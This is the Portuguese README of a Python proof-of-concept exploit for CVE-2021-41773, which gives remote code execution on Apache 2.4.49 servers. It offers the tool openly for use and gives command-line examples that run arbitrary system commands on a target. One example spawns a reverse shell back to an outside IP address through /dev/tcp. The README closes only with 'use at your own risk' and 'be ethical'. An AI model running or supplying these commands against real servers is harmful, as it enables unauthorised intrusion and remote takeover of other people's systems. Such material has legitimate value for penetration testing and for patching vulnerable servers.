
Exploit de prova de conceito baseado em Python para CVE-2021-41773, permitindo execução remota de código em servidores Apache 2.4.49 com opções personalizadas de comando e porta.
PoC para CVE-2021-41773, pois encontrei exploits muito complicados e este vai direto para a Execução Remota de Código.
Basta especificar o endereço IP do servidor Apache 2.4.49 vulnerável com -i e o comando do sistema desejado com -c. Se o servidor web não estiver executando na porta 80, podemos especificá-la com -p e, se o servidor web estiver utilizando HTTPS, você precisa usar a flag --use-https.
$ python3 CVE-2021-41773.py -i 10.10.10.10 -c 'id'
$ python3 CVE-2021-41773.py -i example.com -p 8080 -c '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.10.10/9001 0>&1"'
$ python3 CVE-2021-41773.py -i 20.20.20.20 -p 443 --use-https -c 'whoami'
Use por sua própria conta e risco (:
Seja ético.